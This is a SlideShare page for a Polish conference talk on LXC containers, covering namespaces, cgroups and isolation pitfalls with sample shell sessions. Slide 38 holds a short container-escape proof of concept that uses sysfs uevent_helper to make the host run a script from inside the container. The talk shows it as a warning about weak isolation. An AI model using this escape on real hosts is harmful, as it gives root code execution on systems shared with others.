LXC - kontener pingwinów

11,767 views

Published on

Slajdy z prezentacji o LXC z Dni Wolnego Oprogramowania w Bielsku-Białej

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
11,767
On SlideShare
0
From Embeds
0
Number of Embeds
9,714
Actions
Shares
0
Downloads
10
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

LXC - kontener pingwinów

  1. 1. LXC – kontener pingwinów Grzegorz Nosek, MegiTeamGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  2. 2. Wirtualizacja w kilku słowach„Mam jeden komputer a chcę kilka”• taniej niż kilka maszyn• lepsze wykorzystanie sprzętu• lepsza izolacja niż wszystko w jednym systemie Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  3. 3. Wirtualizacja w kilku słowachGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  4. 4. Wirtualizacja w kilku słowachGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  5. 5. Wirtualizacja w kilku słowachGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  6. 6. LXCLinuX Containers• Namespaces – wirtualizacja• CGroups – przydzielanie zasobów• LXC – narzędzia userspaceowe Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  7. 7. Namespaces● drzewiasta struktura, osobna dla każdego rodzaju namespaceów● każdy proces ma przypisany zestaw ● init_pid_ns, init_net_ns itp.● manipulacje wymagają CAP_SYS_ADMIN Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  8. 8. Namespaces● clone() ● nowy proces, nowe namespacey● unshare() (od 2.6.16) ● ten sam proces, nowe namespacey● setns() (od 3.2) ● ten sam proces, istniejące namespacey Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  9. 9. Namespaces● FS namespace (CLONE_NEWNS) ● własne drzewo katalogów ● pam_namespace (np. prywatny /tmp) ● w połączeniu z pivot_root lepszy chroot() niż chroot() Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  10. 10. Namespaces● PID namespace (CLONE_NEWPID) ● własne ID procesów ● własny init (pid=1) ● więcej niż jeden pid na proces – pid w każdym pidns od głównego do obecnego ● strace ich nie lubi Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  11. 11. Namespaces● user namespace (CLONE_NEWUSER) ● uid1 == uid2? ● capabilities – ptrace, kill, itp. ● VFS Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  12. 12. Namespaces● net namespace (CLONE_NEWNET) ● własne interfejsy sieciowe ● interfejsy fizyczne ● macvlan ● veth Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  13. 13. Namespaces● IPC namespace (CLONE_NEWIPC) ● własna pamięć dzielona SYSV● UTS namespace (CLONE_NEWUTS) ● własna nazwa hosta Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  14. 14. CGroups● cgroupfs ● mkdir, rmdir ● echo $$ > .../tasks – w dowolnym momencie Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  15. 15. CGroups● podsystemy montowane wspólnie lub osobno● maksymalnie jedna dla każdego podsystemu● zagnieżdżone grupy dziedziczą ograniczenia grup nadrzędnych Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  16. 16. CGroups● cpuset ● podzbiór CPU dla procesów z danej grupy ● „dedykowany rdzeń dla MySQLa”● cpuacct ● rozliczanie czasu CPU Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  17. 17. CGroups● cpu ● sprawiedliwy przydział czasu procesora – niedawny „magic patch” ● limitowanie czasu procesora – „CFS bandwidth control” – ograniczenie przydzielonego czasu procesora nawet jeżeli są wolne zasoby Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  18. 18. CGroupsGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  19. 19. CGroups● memory ● ograniczenie pamięci fizycznej ● ograniczenie przestrzeni wymiany ● ograniczenie pamięci jądra (w drodze) ● caveat emptor – bardzo wrażliwy obszar jądra – nisko latające OOM killery Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  20. 20. CGroups● net_cls ● oznacza wychodzący ruch sieciowy klasami tc Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  21. 21. CGroups● devices ● ogranicza dostęp do poszczególnych urządzeń – osobno odczyt, zapis, mknod Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  22. 22. CGroups● blkio ● rozliczanie i limitowanie I/O do dysków ● proporcjonalne (max. n% całego I/O) ● stałe (max. n IOPS, max. n bajtów/sek.) ● osobno dla każdego urządzenia Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  23. 23. CGroups● freezer ● podobny efekt do kill -STOP całej grupy ● jeden z klocków koniecznych do checkpoint- restore i migracji na żywo Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  24. 24. CGroups● perf_event ● perf: monitorowanie wydajności całego systemu ● ograniczenie do wskazanej grupy ● hic sunt leones Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  25. 25. LXC● zestaw narzędzi integrujących namespacey i cgroups● szablony dla popularnych dystrybucji● odpowiednik vzctl i util-vserver Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  26. 26. LXC● lxc-create -n testlxc -t debian ● lxc-debian ● lxc-fedora ● lxc-ubuntu ● (...) ● lxc-busybox ● lxc-sshd Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  27. 27. Kolorowe klocki raz jeszczeGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  28. 28. LXC● lxc-sshd ● /dev, /lib, /bin, /usr, /sbin dzielone z gospodarzem ● reszta niewidoczna z poziomu kontenera Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  29. 29. LXC● dla LXC wirtualizacja sieci jest opcjonalna, pozostałe są obowiązkowe● nic nie stoi na przeszkodzie, aby samemu poskładać namespacey Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  30. 30. LXC● lxc-unshare ● najbardziej bezpośrednie narzędzie ● tworzy namespacey i tyle● pam_namespace ● tylko FS namespace● systemd ● PrivateNetwork=yes ● InaccessibleDirectories itp. Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  31. 31. Pułapki na optymistów● niekompletna izolacja ● sysfs ● capabilities (SYS_REBOOT) ● LSM (SELinux, Smack) ● quoty ● urządzenia (devpts zamiast /dev/tty*) Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  32. 32. Pułapki na optymistówroot@precise1:~# lxc-unshare -s PID /bin/bashroot@precise1:~# echo $$1root@precise1:~# readlink /proc/$$/exe Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  33. 33. Pułapki na optymistówroot@precise1:~# lxc-unshare -s PID /bin/bashroot@precise1:~# echo $$1root@precise1:~# readlink /proc/$$/exe/sbin/init Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  34. 34. Pułapki na optymistówroot@precise1:~# lxc-unshare -s PID|MOUNT/bin/bashroot@precise1:~# umount /proc && mount /procroot@precise1:~# readlink /proc/$$/exe/bin/bash Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  35. 35. Pułapki na optymistówroot@precise1:~# mkdir /sys/fs/cgroup/blkio/slowroot@precise1:~# echo $$ > /sys/fs/cgroup/blkio/slow/tasksroot@precise1:~# echo 253:0 1000000 >/sys/fs/cgroup/blkio/slow/blkio.throttle.write_bps_deviceroot@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero500+0 records in500+0 records out524288000 bytes (524 MB) copied, 6.12093 s, 85.7 MB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  36. 36. Pułapki na optymistówroot@precise1:~# dd if=/dev/zero of=zero bs=1Mcount=500 oflag=sync && rm zero500+0 records in500+0 records out524288000 bytes (524 MB) copied, 528.348 s, 992 kB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  37. 37. Pułapki na optymistówroot@precise1:~# echo 253:0 1000000 >/sys/fs/cgroup/blkio/blkio.throttle.write_bps_deviceroot@precise1:~# dd if=/dev/zero of=zero bs=1Mcount=500 && rm zero500+0 records in500+0 records out524288000 bytes (524 MB) copied, 377.854 s, 1.4 MB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  38. 38. Pułapki na optymistów# http://blog.bofh.it/debian/id_413lxc$ cat <<END > /tmp/evil-helper#!/bin/shecho hi! >> /tmp/evil-helper.logENDlxc$ chmod +x /tmp/evil-helperlxc# mkdir /syslxc# mount -t sysfs sysfs /syslxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper >/sys/kernel/uevent_helperlxc# echo change > /sys/class/mem/null/uevent Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  39. 39. Pułapki na optymistów● http://bit.ly/ytouBe – dyskusja o bezpieczeństwie LXC● https://wiki.ubuntu.com/LxcSecurity Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  40. 40. Porównanie OpenVZ Linux-VServer LXCGrzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  41. 41. Thats all, folks! Pytania?Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012

×